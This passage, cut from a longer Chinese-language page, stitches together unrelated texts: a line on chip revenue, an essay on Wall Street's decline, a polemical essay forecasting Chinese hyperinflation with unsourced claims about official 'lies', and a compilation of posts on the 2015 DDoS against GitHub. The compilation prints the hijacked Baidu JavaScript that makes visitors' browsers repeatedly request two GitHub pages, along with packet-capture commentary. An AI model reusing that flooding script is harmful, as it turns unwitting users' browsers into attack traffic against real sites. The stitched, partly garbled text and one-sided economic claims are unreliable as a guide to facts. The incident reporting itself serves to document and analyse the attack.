factory)应用营收在2014年增长率估计为8.3%,主要来自于大楼与家庭控制市场的增长;其他高增长性的应用领域包括LED照明、IP摄影机与 其他数字视频监控产品。“因为工业应用领域成长强劲,半导体业者在该市场投入更多注意力,而也有更多芯片被应用在以往不使用半导体组件的领域中,”IHS 首席分析师Robbie Galoso表示,“工业应用市场的成长也来自于全球经济逐渐加速发展的带动,经济发展带来了工业设备的需求,特别是在美国与中国。”

华尔街在美国坠落


华尔街曾被视为美国经济的皇冠,它也是美国资本主义的核心所在。2008年的金融危机对华尔街造成了很大的打击,虽然目前很多金融机构的股价已经回复,金 融市场交易也重回热络,金融机构高管的薪酬甚至创下新高,但华尔街在美国经济和社会中的地位,却出现了持续下滑。这种现象的出现似乎并非是偶然的,它与深 刻的经济趋势以及政治都有关系。下面是安邦咨询(ANBOUND)美国经济系列研究的一部分观点和结论,也是对陈功发表的《奥巴马经济学》一文的补充。
2015年3月24日,摩根士丹利的首席财务官(CFO)露丝•波拉特(Ruth Porat)宣布将转投谷歌,出任后者CFO。波拉特在转投谷歌前,已是华尔街职位最高的女性之一。波拉特是这一轮高科技热潮中,从华尔街转投硅谷的最新 一位资深人士。在波拉特之前,类似的例子还有去年离开高盛(Goldman Sachs)赴Twitter任CFO的安东尼•诺托(Anthony Noto),以及瑞士信贷(Credit Suisse)追踪高科技产业的银行家伊姆兰•卡恩(Imran Khan),他现在是冉冉升起的互联网消息服务商Snapchat的首席战略师。除此以外,还有一位摩根士丹利的高层女性主管、互联网产业明星分析师玛丽 •米克(Mary Meeker),她于4年前赴硅谷加盟了风投公司凯鹏华盈。
人随势走,一大批投行大腕的断然转身,毫无疑问代表和反映着他们对未来趋势的观点和看法。这并非是偶然现象,它可以看作是华尔街地位下降过程中,精英人士 的另一种选择。实际上在更广泛的美国社会和文化环境中,华尔街(Wall Street)这一传统金融中心的地位长期以来都在下降过程中。在美国社会,早就有关于Wall Street与Main Street的对比争论。在2008年11月4日,奥巴马在发表胜选演说时就谈到了华尔街,他说:If this financial crisis taught us anything, it’s that we cannot have a thriving Wall Street while Main Street suffers.(大意是说:如果金融危机带给我们什么教训,那就是当Main Street在受难时,华尔街不可能繁荣。)
Main Street在美国到底指什么呢?Main Street一语出自美国第一位诺贝尔文学奖获得者辛克莱•刘易斯发表于1920年的同名小说(中译为《大街》)。在美国各地的小城镇,Main Street不仅是贯穿城镇的主要街道,也是居民购物、社交、观看年度游行的场所,这与美国城镇的形成过程有关。一些较大的城市可能有几条Main Street,每一条都是针对城市下属的一个区域空间而言的。Main Street一词在20世纪中进入美国的政治舞台,当时的共和党用Wall Street来描述自由派,以Main Street来代指保守派。2004年总统竞选时,民主党副总统候选人约翰•爱德华兹以平民主义的思想提出竞选纲领,主要就是Wall Street 和 Main Street的两元经济论,这也是他在2008年再度竞选时的主要理念。自2004年开始,Wall Street 和 Main Street的含义基本就定位在:Wall Street指包括金融、投资在内的美国的巨型企业和富人的阶层,表征富有阶层的利益或是少数富人的利益;Main Street是指小企业、小作坊和平民阶层,即表征平民阶层或社会主要群体的利益。
在美国,Main Street现在已成为每天可见的政治术语。中文里没有与Main Street直接对应的概念,贴切的翻译并不容易,“金融以外的领域”、“布衣街”、“百姓街”、“市井街”、“平民街”都只是部分表达了Main Street的含义。有翻译者认为,Main Street其实是指社会主要群体生活和活动的地方,因此可译为“主体街”。以安邦(ANBOUND)首席研究员陈功在美国的观察和体验,在美国的经济和 社会发展水平下,城市的社会主要群体实际上就是占比99%的中产阶级群体,至少Main Street的群体利益与中产阶级的利益是一致的。因此,Main Street群体带有强烈的中产阶级性质
源自华尔街的金融危机冲击了华尔街,也使得美国社会以新的眼光来审视华尔街。奥巴马的看法在美国有代表性。他曾对《纽约时报》表示,更严谨的金融监管措施 将限制高风险金融活动,华尔街在美国经济中的地位将削弱。他说:“这意味着更多人才和资源将流向经济领域的其他部分;我认为,这是健康的。我们不想让每个 有数学才能的大学毕业生都成为金融衍生品交易商。我们想让他们中一些人进入工程领域,另一些人进入计算机设计领域。”不过,他也承认华尔街仍然在美国经济 中扮演重要角色,只不过不会再占到美国经济的一半。
美国人对华尔街金融业和金融巨头攫取财富的不满,曾演化成“占领华尔街”的运动。2011年“占领华尔街”运动发生后,抗议活动一度扩展至美国120多个 城市,伦敦、法兰克福、多伦多、墨尔本、东京和爱尔兰科克、亚洲的日本、韩国等地也都分别举行了各自规模不同的“占领活动”。这种抗议活动在一定程度上, 也代表了美国普通民众对华尔街的反思。虽然华尔街在美国经济中仍然占有重要地位,但华尔街在美国人心目中的地位已经今不如昔。在美国的大众文化中,华尔街 人士的形象也演变成了疯狂攫取金钱利益的金融怪兽、“华尔街之狼”。很显然,这并非美国人心目中的英雄和偶像。据了解,在如今的美国,华尔街并非是受过高 等教育的年轻精英们的最佳选择,在相当一批年轻人中,对于科技、文化、服务领域的创新产业的兴趣,早已代替了过去人们顶礼膜拜的华尔街。

中国现在的实体经济(工厂,企业)岌岌可危,通胀渐渐加剧

圈里有两个朋友,都是上世纪90年代开工厂,2015年春节前夕先后关门。 其中一家2012年逐步亏损,2013年大亏,2014年苦苦坚持到年底,最终还是选择关门。这三年的持久战里,先后卖掉早年购入的三套房投入工厂维系生 产,关门后全部资产剩一套房和两部旧车,以及卖厂所得的少量资金,辛辛苦苦十八年,一夜回到解放前。
另一家在2008年经济危机里损失80%的优质外企客户后,转战内资市场,在微薄盈利中坚守,2014年和一家大型国企谈项目合作,投入三百多万改 造车间更新设备,一切准备就绪,被突然告知合作终止,望眼欲穿的订单转瞬变成一场游戏一场梦。雪上加霜的是,一个客户此时跑路,三百多万货款又打水漂,惊 怒之下心力交瘁,遣散数百员工,关门了之。
这两家工厂基本可以代表当下中国实体经济的状况,也代表实体经济对中国的影响。一个真相就是,在实体经济坚持的过程中,中国通胀被压低。随着实体大量倒闭,中国通胀将加剧,物资紧缺和货币泛滥共同作用,然后进入恶性通胀阶段。
从实体经济观察和分析整个中国经济,可以透视很多谎言,其中通货收缩是经济宣传的最大谎言。例如,中外财经媒体都强调,中国正在面临经济下滑、通货 收缩,为了保持经济稳定增长,必须实施货币宽松,用印钞防止通缩。提到通缩时,财经媒体往往引用中国统计局的数据,说明CPI(消费者物价指数)处于低 位。民众看到统计局CPI的数据以及财经媒体的文章,跟着认为中国可能面临通缩。当然,只有以通缩的谎言为基础,才能得出“合理”的货币宽松结论,以此支 持中国体制经济的运转。
经济的基础是实体经济,实体为整个社会提供各类生活产品。产品包括两方面,一是物质产品供应,二是服务产品供应。在过去几年,服务产品的供应价格一 直在上涨,反映出真实的通胀水平。例如,虽然很多超市的产品价格涨幅较小,网购食品的价格甚至下降,但路边小店的馒头包子面条都在不断涨价。月嫂和保姆的 工资也在快速上涨,她们的工资体现真实的劳动成本,也反映社会通胀水平。不过,由于中国工厂众多,竞争激烈,导致物质产品的生产和供应价格上涨幅度较小。 统计局大多针对物质产品价格采样,编制消费者物价指数,给人们造成低物价的印象。在这个印象基础上,媒体再强调经济下滑,物价将下行,误导民众认为未来将 通缩。
但实际上,随着实体经济走向末日,中国不仅不会发生通缩,甚至不是温和通胀,而是恶性通胀。实体工厂大规模倒闭,社会上产品越来越少,多种生活日用 消耗品将越来越短缺;人民币继续发行,即使按照相对保守的经济政策,中国每年至少印钞十几万亿人民币;各种苛捐杂税也在继续增加,这些因素叠加到已经短缺 的产品价格上,只会造成通胀加剧。
在物资短缺、人民币越来越泛滥、苛捐杂税的共同作用下,恶性通胀将逐渐蔓延。印钞主要分配给体制核心利益集团,苛捐杂税是为了整个体制利益,经济下滑则主要由民众承受。随着经济形势恶化,大部分民众收入难以提升甚至下滑,人们陷入相对更加贫困状态。
在过去几年,实体经济越来越艰难,每年的形势都在快速恶化。大多数生产企业从利润丰厚,到有盈利,再到微利,最后亏损。实体经济一直是基础通胀的承受者。对于实体企业来说,通胀一直没有停止,钱越来越不值钱。
在生产企业,各方面价格一直在上涨。人工费用上涨的速度最快,每年都在增长,政府还一再上调最低工资。人工费用包括工人工资和社保,除了工资上涨, 社保缴纳也越来越多,水电油气和交通费用等基础费用也在持续上涨,租用的厂房办公室租金也在快速上涨,各种税费也越来越多,包括提前征税、征收过头税,各 种名目的罚款也急剧增加,所有这些都慢慢成为企业不能承受之重。
而在统计局的数据中,只去记录少数降价的产品价格,而忽略人工上涨、各种基础上涨、服务上涨、租金上涨、税费罚款上涨,然后说生产者指数(PPI)下跌。
实体经济是控制社会通胀的主力,并且担负着控制通胀的代价。在中国,实体企业竞争激烈,即使各种成本上涨,也不敢随意对给产品涨价。在白热化价格竞 争中,企业利润越来越低,直至亏损。到这时候,不少企业主还心存幻想,自掏腰包,留住员工,维持生产,保证不散摊子。就在企业主竭力维持生产、低价竞争、 自身还亏损的过程中,整体压低产品价格,有效控制了通胀。
但是,在通胀的压力下,企业亏损日益严重。为了降低亏损,企业通过降低采购品质、减少生产工序的方式,压缩成本,以此维持低价。当消费者购买便宜货,享受低通胀时,往往不会意识到,自己购买的产品价格低是由生产企业补贴和降低品质两方面原因造成的。
随着实体企业无法承受通胀,消费者购买低价产品,产品不可能保持正常品质。例如,当牛肉销售成本一斤30元,猪肉市场价15元,而市场上的牛肉23 元,这只有两种可能,一是猪肉经过染色剂加工,假扮牛肉出售;二是进口走私牛肉,将国外的低价牛肉通过官方不认可的方式,运到中国销售。正常的肉牛养殖场 面对这样的市场价必然巨亏,如果市场得不到及时改善,养牛场只能关门,市场上则充斥着假牛肉和走私牛肉。
淘宝和其他电商通过网络销售取代实体店,有效控制物价。淘宝和电商规避了实体店的装修、房租、水电、各类税费等成本,大力压缩产品售价。由于通胀,实体店成本持续提高,为了生存不得不高价出售以摊销成本,而网络销售直接颠覆实体店。
网络销售的便利性也极大吸引生产商,厂家直销越来越多。网络销售价格透明,一家淘宝店微利销售,很快引发其它淘宝店降价跟随竞争。随着淘宝和电商的规模扩大,越来越多的消费者在网上以相当低的价格购物,对于控制物价指数具有关键作用。
电商对降低物价指数居功至伟,所以体制对电商青睐有加。所以,中国高层领导人多次召集电商开会,还亲自到淘宝村视察,姿态积极听取电商对经济的看法和建议,对电商的重视非同一般。
实体店主从自身收益出发,强烈呼吁遏制网络销售;地方政府从商业地产和税收考量,要求对电商征税,这些呼声都被忽略了。因为,国家控制通胀的意义,比实体店存活和地方商业地产收入重要的多。在国家的大力支持下,网购快速席卷全国,为降低通胀立下汗马功劳。
网购掩盖短期通胀,也为长期恶性通胀打下坚实基础。网购的优势是降低产品价格,促进交易信息透明化,推广廉价产品。在非网购时代,一些生产企业利用 信息差异,可以卖高价;企业创新后,利用渠道的时间差,也能把创新产品卖高价。但是网购普及后,一家企业打价格战,瞬间波及大片厂家,一起介入价格战。一 家企业创新产品后,由于得不到有效知识产权保护,很快就被仿制出来以低廉的格销售山寨版。比如,苹果推出Apple Watch,仅仅几小时,深圳已经有店主在网上推出类似的廉价产品。
在网络时代的价格战背景下,几乎所有企业都不得不自杀式销售。结果就是工厂的设备折旧无法摊销、设备投资无法收回,创新投资更是为他人做嫁衣。
短期内,自杀式价格战对于消费者来说价格持续降低,但是这让生产企业无利可图,减少持续投资和生产的动力。现有企业在正常设备折旧基本完成后维修费急剧增加,不再购置新设备而选择关门。当大量实体企业倒闭,意味着大规模短缺的时代将要开启。
网购加速国内生产和实体商店倒闭,大规模压缩社会中的库存水平,也加剧将来的物资短缺。随着网购的发展,品种迅速向生活日用品延伸。网购为了降低成 本,积极进行各种渠道采购。尤其是中国产品价格过高时,大量销售进口产品,挤垮国内的生产。例如,中国乳业是高价毒品工业,关键在于中国的乳业运营机制, 或者说症结在于政府支持的乳品企业。而在网购普及后,大量民众购买进口乳品,减少对于国产奶的采购。结果导致中国乳品企业压低收购价、甚至停止采购,中国 奶农大量倾倒牛奶,并且杀掉奶牛。而且,随着时间推移,实体商业越来越坚持不住,大规模关店,减小运作规模。
从民众个体的角度,由于网购越来越多,商业店铺的需求量减少,店铺倒闭并不是问题。但实际上,这些商业店铺都意味着本区域之内的相应产品库存,对于 本区域的供应量具有关键意义。当店铺纷纷关闭的时候,区域的产品库存也快速减少。在过去,网购不盛行、经济增长的时候,由于店铺增加,实际上导致库存越来 越大,甚至意味着库存增加。而网购则在推动店铺倒闭的过程中,加速库存快速减少。当大量实体店铺倒闭后,区域的库存也意味着降到危险的低水平。
随着实体企业和实体店铺加速倒闭,产品短缺状况重新出现,恶性通胀已经在酝酿之中。实体和店铺关门倒闭,都习惯低价处理库存,这个阶段产品物价会下降,畸形的低价。库存清完后,人们再想购买相应的产品,不得不付出高价寻找。
2013底到2014年,实体和店铺批量倒闭,大量清库存。进入2015年,短期内物价仍然能保持一定程度的稳定,随着库存清理完毕,民众需求将逐 渐超过生产和库存。随着经济下行,社会中的需求在逐步减少,库存清理之后,产品供应将很大程度出现断流。产品供应断流与需求的逐步减少相比,结果将是产品 短缺。
根据生产和商业性质不同,产品短缺将从部分低值、高消耗的日用品延伸到较多种类的生活日用品,再扩大到其它产品类别。产品短缺的结果就是涨价,而且一旦价格开始上涨,速度很快。当快速涨价的产品种类逐渐扩大,恶性通胀就此开始。
电商态度变化和政府态度也将加剧通货膨胀。网购扩张过程中,电商一直在给网购补贴。京东通过持续烧钱扩张,然后上市圈钱,圈到之后接着烧,阿里巴巴 宣布淘宝免费,淘宝用户无成本交易。这都属于电商补贴,降低消费者物价,而这样的形势不可持续。京东不仅要停止补贴,还要从中赚钱,产品必然要加价,或者 销售假冒伪劣产品(同价质次,也算涨价)。阿里巴巴通过淘宝排名收费和发展天猫,已经提高了淘宝和天猫商户的成本,而且未来阿里还会更多收费,以提高美股 业绩表现。由于在过去,淘宝价格已经压到最低,不可能再继续转嫁成本。所以,当阿里巴巴对淘宝进行更多压榨后,只可能导致淘宝用户加价,更多转嫁给消费 者。
在物流方面,网购量急剧增长后,政府企业也插手分羹,导致用户采购成本增加。更重要的是,随着商业地产大规模萧条,地方政府失去大量税收来源,就打 起对网购征税的主意。随着地方政府财政状况迅速恶化,必然会想方设法对网购雁过拔毛。各种成本最终都要层层加给网购消费者,反映出来就是物品价格上涨。这 种物价上涨,都是真实社会通胀的还原,而不是过去虚幻的低通胀模式。
国际经济环境的变化,也令中国的恶性通胀模式随时开启。过去数年,价格低廉的进口大宗产品和原材料很多,对压制物价起到重要作用。2014下半年开始美指持续上涨,人民币跟随美元升值,让进口产品变得更加便宜。进口产成品加速对中国市场的占领,对降低物价起到重要作用。
问题在于,人民币跟随美指上涨过猛,导致出口企业遭到重创。如果人民币坚持不贬值,出口企业将大面积倒闭,外资加速逃离,导致中国没有外汇采购外国产品,物资短缺将全面暴露。如果人民币大幅贬值,进口的大宗产品和产成品价格增长,成本的大幅增加将推动物价暴涨。
2015年两会召开前夕,《穹顶之下》横空出世,获得巨大民意支持,两会上顺势刮起环保风暴。会议中间,地方体制就开始对企业进行环保监察,要求工 厂投资环保设备,以环保的理由加大对企业的惩治力度,这肯定又压垮一批企业。侥幸存活下来的企业,也必然会把环保成本以提价的方式转嫁给消费者。
另外,两会已经明确,必须积极印钞挽救经济。印钞将进一步推动实体经济的灭亡速度,加速产品短缺时代的到来,恶性通胀正在不远处等着我们.

具有共匪国特色社会主义的群众攻击!百度联盟广告脚本被插入攻击GitHub/GreatFire/纽约时报中文网的代码

如果你在国外,访问cbjs.baidu.com/js/m.js显示的代码和在国内访问该网站的代码是不同的(如图为国外访问内容)。该地址是百度广告联盟的JS脚本。该脚本插入了攻击GitHub(greatfire和cn.nytimes)的代码,也就说如果从国外或代理服务器访问嵌入百度广告联盟脚本的网站,你相当于在帮助发起针对GitHub的DDoS攻击。暂时不清楚这些代码是否是百度植入的。

“Twitter user @yegle discovers that HTTP requests to a certain JavaScript is being hijacked to some attack code, which will make reqeusts to GitHub. Since the JavaScript is used on many Chinese websites, GitHub is in fact being DDoSed. This trick is discovered by users when GitHub starts to return alert(“WARNING: malicious javascript detected on this domain”) in response to these DDoS requests. This will pop up a alert dialog with English text on those Chinese websites.”

@bitinn 已知:国外线路访问百度的CDN,有一定的可能性触发攻击Github上特定用户的页面,例如,之前刚刚被DDoS过的@GreatFireChina。值得注意的是,两次DDoS本质是一样,并没有攻击它们主站,而是DDoS它们用的云服务。这种企图劫持正常流量的网络威胁,我们来起个名字吧?

‏@bitinn 31m31 几年前去纽约,有幸在法拉盛(Flushing)的中国城待了几天,然后体会到了那边是怎么过马路的——即便人行道是红灯,车也要按着喇叭,才能从川流不息、无视指示灯的人群中缓慢的“推”着走。当时我有种整个华人群体的脸都给丢了的感觉。今天看Github面对的DDoS,我也有这种感觉。

国外人士有多少人会去访问百度?保不齐是墙内外协作造成的。。。

被你国势力引导的不明真相的群众攻击

彻底贯彻并落实了我党发动群众,走群众路线的攻击方式 XD

@yegle 当年iGFW还是哪里的GFW研究报告里还提到了GFW的DNS污染可以用来DDOS攻击敌对网络。还是naive了。替换js来攻击,只损失了百度的revenue,能实现单页面反复攻击多个目标。

github要不是alert,直接再重定向到我朝的任意一个gov站点,那会是什么效果。

GFW 利用百度 CDN 来 DDoS GitHub,这「创意」 -_-

China-based Cyber-Terrorism Variant = 基于中国的网络恐怖主义变种 = CCTV

@yegle 还有一个可能性。一个真正的海外用户,首选搜索引擎应该是谷歌而不是百度。那么,来自海外IP对百度的访问,多数应该是通过代理翻墙的境内用户。这样GFW就可以收集很多用户的代理IP,并且通过搜索行为等判断是否翻墙。估计又会有很多VPN和翻墙软件会失效。

@bitinn: 利用平民上网的正常流量进行DDoS已经成为中国全新的政治武器。新的被害者是:GitHub。换而言之,我们已经从Defensive变为Offensive了。

屏蔽所有百度的JS代码:在Chrome的设置->显示高级设置->隐私设置->内容设置->JavaScript->管理例外情况中,输入百度的网址(需要通配符,如图),再将行为设置为禁用即可,感谢 @Mosesofmason

开始攻击Github了,以后国家自然科学一等奖岂不是要年年空缺了

在 chrome://settings/contentExceptions#javascript 下新加了一條規則 [*.]http://baidu.com block

‏@oiax 继朝阳大妈成为中共国特工后,上亿网民也成了 DDoS 民间高手。

@mac_zhou 对@yegle 发现的百度JS被植入greatfire的现象进行了抓包跟踪,正常百度服务器返回给我日本VPS的TTL为51, RESP返回HTTP 200 OK的报文的TTL是 47,可以确定的是有中间设备对VPS发了伪造报文。

境外用户访问内置境内一些网站如百度的JS调用的网站时,GFW将这部分调用替换成重定向至目标网站,以挟持民用流量的方式,实现对目标网站的DDOS攻击。



中国的国家防火墙调用民间流量攻击境外网站

26日9时(Pacific Daylight Time,北京时间27日12时)左右开始,从境外访问v.baidu.com的时候发现会出现Javascript alert出现的弹窗:

WARNING: malicious javascript detected on this domain

追查了一下发现是百度广告管家的js http://cbjs.baidu.com/js/m.js?_=1427431567741
在境外访问时被替换成一段特殊的js。详细请求和返回的js见:http://pastie.org/10056531

反编译后代码大致如下:

    “document.write(” src=’http://libs.baidu.com/jquery/2.0.0/jquery.min.js’>\x3c/script>”);!window.jQuery&&document.write(” src=’http://code.jquery.com/jquery-latest.js’>\x3c/script>”);startime=(new
    Date).getTime();var count=0;function unixtime(){var a=new Date;return
    Date.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/1E3}url_array=[“https://github.com/greatfire/”,”https://github.com/cn-nytimes/”];NUM=url_array.length;function
    r_send2(){var a=unixtime()%NUM;get(url_array[a])}function get(a){var
    b;$.ajax({url:a,dataType:”script”,timeout:1E4,cache:!0,beforeSend:function(){requestTime=(new
    Date).getTime()},complete:function(){responseTime=(new
    Date).getTime();b=Math.floor(responseTime-requestTime);3E5>responseTime-startime&&(r_send(b),count+=1)}})}function
    r_send(a){setTimeout(“r_send2()”,a)}setTimeout(“r_send2()”,2E3);”

很明显看出两个攻击目标: https://github.com/greatfire/ 和 https://github.com/cn-nytimes/

大致的流程就是:

1. GFW把某些常见网站的JS替换成以上js

2. 全球各地访问国内网站时,相当于成为DoS的源(可能还有全国各地访问国外时,未经确认)

3. GitHub不堪重负,把 https://github.com/greatfire/ 和
https://github.com/cn-nytimes/ 的返回改成一个alert: WARNING: malicious
javascript detected on this domain (网站存在恶意JS代码调用)

当境外用户访问内置境内一些网站如百度的JS调用的网站时,中国的国家防火墙GFW将这部分调用替换成重定向至目标网站,以调用民用流量的方式,实现对目标网站的DDOS攻击。中国网络审查监测机构Greatfire和纽约时报中文网目前尚未就此作出回应。



@tenderkuma: 看人家不顺眼就封了人家网站,然后发现人家居然不跪不服软,岂有此理!好吧那就集我朝百姓访问百度之流量DDoS你!—— 这是tm什么臭不要脸的做派… 替这种变态机构做事的技术人员是有多无骨,一泡污。

    百度统计js被劫持用来DDOS Github
    今天中午刷着全国最大的信息安全从业人员同性交友社区zone.wooyun.org的时候,忽然浏览器每隔2秒就不断的弹窗:
    我第一反应就是不知道哪个调皮的基友又把zone给XSS了,马上打开开发者工具分析。

    之后立刻发现弹窗的js居然是从github加载的:

    可是为什么乌云会从github加载js呢,并且还是从greatfire和纽约时报镜像加载。

    第一反应是页面有xss或者js被劫持了,找了半天终于找到了,居然是

    hm.baidu.com/h.js

    这个js的确被乌云加载了没错,这是百度统计的js代码,打开后里面是一个简单加密后的js,eval了一串编码后的内容,随便找了个在线解密看了下,发现如下内容:

    document.write(“

    不是我一个人这样吧?

    我今天也遇到,在访问peopel.com.cn看新闻的时候,我用的是ss.com的服务,难道和这个有关?

    貌似许多人都遇到了,这个帖子里说是因为github受到ddos攻击引起的

    遇到了。
    我也是在翻墙的时候看到的。
    百度, 煎蛋,

    还是搞不明白啊, github受到攻击, 为啥这么多国内网站会被波及呢?
    百度, 煎蛋, 斗鱼和github有啥关系。

    看起来似乎是这样的:国内好多网站上嵌入的某个js会自动载入 http://github.com/greatfire/ 和 http://githu.com/cn-nytimes/ ,达到DDoS效果。GitHub看到大量流量和referer信息后决定这两个URL返回javascript

    然后那个页面是百度联盟的广告JS
    后来的情况是国内正常,翻墙返回恶意js,不过无法稳定复现

    目前不清楚是GFW搞的还是百度搞的

    应该这样把,原来还可以这样ddos,新技能get。

    有点儿明白了, 就是利用嵌入脚本到其他大流量网站ddos github这两个地址。
    然后github 返回的 alert代码, 所以我们才看到的alert提示的。

    不過不管是國際國內開不開代理開不開Adblock我都不能復現。。。

    是不是所有挂的百度广告联盟的都影响了。
    利用百度的广告联盟进行ddos。

    确切的说,是百度联盟网站,这个的使用量相当大……

    和地区有关,我的8台服务器有两台访问百度联盟可以得到恶意代码,剩下都是正常

    排查了一下不是百度搞得,就是GFW替换了返回内容。。。。太强大了

    Comcast线路, 有这个问题.
    用搬瓦工的HE线路, 没有这个问题.

    抓包(USE WIRESHARK)发现是百度站长统计js脚本里被插入了奇怪的东西, 然后会执行

    https://github.com/greatfire/

    和

    https://github.com/cn-nytimes/

    上面的那个alert.

    临时解决办法:
    "1 27.0.0.1 hm.baidu.com" >> /etc/hosts

    话说不知道这个事和 greatfire 有关. 我觉得这种事, 不管你的政治立场, 干扰他人的通信这种行为和TG没什么两样.

    我感觉不像。
    因为如果是墙搞的, 这样岂不是等于给github返回任何内容的机会了?
    ddos一时半会儿也搞不死的。 大量的抵达率。

    不需要翻墙,海外访问国内domain同样触发,应该是单纯只要加载JS就跪。理论上可以修改本地hosts屏蔽上面提到的两个url,但还没试验过

    囧,上面@xieyudi1990 已经提到hosts了,请无视

    身在香港,访问百道知道也触发。

    身在台湾,访问百度的子站没有触发这个js。

    有人黑了某几家CDN的意思么?

    不,GFW http劫持

    更正下, HE线路也会有问题.

    刚刚回复正常了, TTL也稳定下来了.

    http://cbjs.baidu.com/js/m.js

    是用公共库来 DDOS GitHub 的几个敏感词 repo 吧.....

    还能这么玩儿...

    感觉像是某个很奇特的地方一直在做 HTTP 劫持

    github的特别页面应该是他们自己做的。因为无数流量被国内各大网站导向了这两个地址。更深的原因是国内的很多js访问都被劫持了。。。

    访问第二个, 返回这个了
    alert("WARNING: malicious javascript detected on this domain")
    不翻墙, 都可以直接返回。
    这下影响的面够大, 百度的服务器看来是被做了。

    基本上我猜测是gfw做的……因为那个github的wiki经常发布一些(呵呵)信息……但是又不能block了github对吧,所以利用劫持ddos那两个页面给github施压,已达到逼其关闭的目的……不过我很鄙视那些利用github干呵呵的事情的人,完全不考虑后果的小学生行为。所以综上所述,我支持这次行动~

    这和恐怖主义有何区别?(参考枪杀查理报社编辑事件)

    目测不能关闭github,然后就给他颜色看看了

    github是什么地方?如今国内github如此地步都是愤青导致的。你真的看过greatfire的wiki么?我们都在笼子里,笼外的人却在激怒笼里的老虎。他们是唯恐天下不乱的人,我不认为这样的人能促进社会进步。github被block对大家没好处,gfw如今都能定点打击了也别指望它会消失。要block我随意,不过先祈祷github安好吧

    分别从 国内和国外访问,在 HTTP Header 中可以得到不同的 Server。一个是 apache,另一个是 Apache。

    的确我现在倾向于认为是 "它们" 搞的鬼. 从海外线路访问, 握手的TTL和ICMP的TTL相同, 但是TCP会话的TTL不相同. 更让我确信这一点的理由是, TTL还是每一个包增1, 这个手法和伪造RST极其相似.
    不, 我已经确定了是 "它们" 搞的. 除非是百度有内鬼在高级黑.

    这样说差不多。。。两台都是日本的话说明确实有一台有问题ˊ_>ˋ

    人在墙外,发现刚有一段一直弹对话框,显示 “WARNING: malicious javascript detected on this domain”

    从国外访问百度统计时会被 GFW 插入攻击 GitHub 的代码,貌似这串 js 只是简单被 pack 过而已。

    不不不,同一台服务器,同一次访问,TCP握手->传输数据->TCP关闭

    握手阶段和传输数据阶段TTL不同

    好像不插入那段脚本了,几分钟前还插入的

    这个意思好像是让能翻墙或者在国外的那部分人去 ddos greatfire,好阴险啊

    遇到不合理的事情,先默默接受,然后再从不愿默默接受的人身上找原因。哪儿都能碰见这种聪明的中国人。
    --------
    这句话说得真好。

    但问题时, 为什么要跳转这两个url呢? 那些家伙就不怕greatfire挂个 "习包子离岸资产" 什么的?
    要攻击的话, 用其他的url也是一样的吧, 只要指向github的服务器就好...
    唯一不明白的地方...

    不知道这下有人号召换掉百度系的服务不?

    所以这串攻击代码只有墙外的人会执行,并且他们有信心会很快把 GitHub 打死。

    Github已經宣佈一切正常

    要是部署在省骨干上, 还可理解. 估计唯一会访问大陆网站的, 除了留学海外党, 也就那些做贸易的, 能有多大个访问量?

    目前情況來看有可能是測試狀態,顯然這個測試不太成功

    我在用的是Vultr Tokyo 節點的VPS翻墻,IP 108.61.16?.*,沒有發現上述貼吧、鬥魚的問題,你們的VPS/server服務商或者IP段能大概告知一下嗎?

    发现大约10分钟前已经撤销了, 感觉访问的是真是的服务器 (TTL稳定了, 也不是单纯返回那个字符串了)

    现在已经撤掉了

    之前我在日本sakura vps和DO NY机房可以观测到(NY机房有一台有,另一台就没有),vultr东京和linode东京都没有

    估计是给github施压,不过这方法太蠢.
--------------------------------------------

GitHub.COM遭到GFW的DDoS攻击


当事人以及海内外媒体的报道

Large Scale DDoS Attack on github.com @ GitHub Blog
(编程随想注:这是 GitHub 官方博客对此事的说明,俺摘录其中部分文字)
We are currently experiencing the largest DDoS (distributed denial of service) attack in github.com's history. The attack began around 2AM UTC on Thursday, March 26, and involves a wide combination of attack vectors. These include every vector we've seen in previous attacks as well as some sophisticated new techniques that use the web browsers of unsuspecting, uninvolved people to flood github.com with high levels of traffic. Based on reports we've received, we believe the intent of this attack is to convince us to remove a specific class of content.
We are completely focused on mitigating this attack. Our top priority is making sure github.com is available to all our users while deflecting malicious traffic. Please watch our status site or follow @githubstatus on Twitter for real-time updates.

China's national firewall hijacks JavaScript to DDoS GitHub @ slashdot.org
(编程随想注:这是著名极客网站 Slashdot 对此事报道)

GitHub under ongoing DDoS attack @ Ycombinator News
(编程随想注:这是老外在 Ycombinator 上的讨论,挺热烈滴。以下这段是出口转内销,介绍了朝廷对 GitHub 进行 DDOS 攻击的4个阶段)
I saw this on Weibo earlier, NOT from a trusted source. But the first and third rounds have been confirmed.
第一轮外域JavaScript,一个alert防住;
第二轮外域img,Referer挡外面;
第三轮GitHub Pages被D;
第四波正在进行,是TCP SYN Flood攻击。

My translation:
The first round was cross-domain JavaScript, stopped with an "alert()".
Second round was cross-domain <img>, stopped with referrer.
Third was DDoS-ing GitHub Pages.
Fourth is the ongoing TCP SYN Flood attack.

对GitHub的DDoS攻击在继续,百度否认与其有关 @ Solidot

对GitHub的大规模DDoS攻击已超过80个小时 @ Solidot
对GitHub的大规模DDoS攻击已超过80个小时,攻击者此举显然是为了迫使GitHub移除反审查项目Greatfire。DDoS攻击产生的史翠珊效应(Streisand effect)反而让更多人知道了Greatfire。攻击者先后使用了四种DDoS技术攻击GitHub(未 完全确认):第一波是创造性的劫持百度JS文件利用中国海外用户的浏览器每2秒向托管在GitHub上的两个反审查项目发出请求,这一手段被GitHub 用弹出JS警告alert()防住;第二轮是跨域 <img> 攻击,被GitHub检查Referer挡住;第三波是DDoS攻击GitHub Pages;第四波是正在进行中的TCP SYN洪水攻击,利用TCP协议缺陷发送大量伪造的TCP连接请求,让GitHub耗尽资源。对于Greatfire所实现的collateral freedom(PDF),也有许多人对此表达了不满,Greatfire的做法让一些CDN服务商遭到了封杀,而GitHub是最新的受害者。
上述两篇,是国内极客网站 Solidot对此事的报道。

★DDOS 是谁干的?

很显然,是咱们天朝大名鼎鼎的 GFW 干的。
  这可【不是】冤枉它,请看文本的后续章节——★对"攻击手段"的技术分析

★GFW 的动机何在?

那么,对 GitHub 进行 DDOS 的动机何在捏?
  此次攻击针对的页面是 https://github.com/greatfire。该页面是 GreatFire 在 GitHub 上的主页。攻击者这么做,就是为了让 GitHub 的服务器不堪重负,从而逼迫 GitHub 移除 GreatFire 的相关内容(甚至注销该帐号)。
  为啥 GreatFire 会跟 GFW 结仇捏?最大的一个原因是:GreatFire 最近几年开始提供墙外知名网� ��的【免翻墙镜像】(很多读者应该知道,俺博客的镜像也是其中之一)
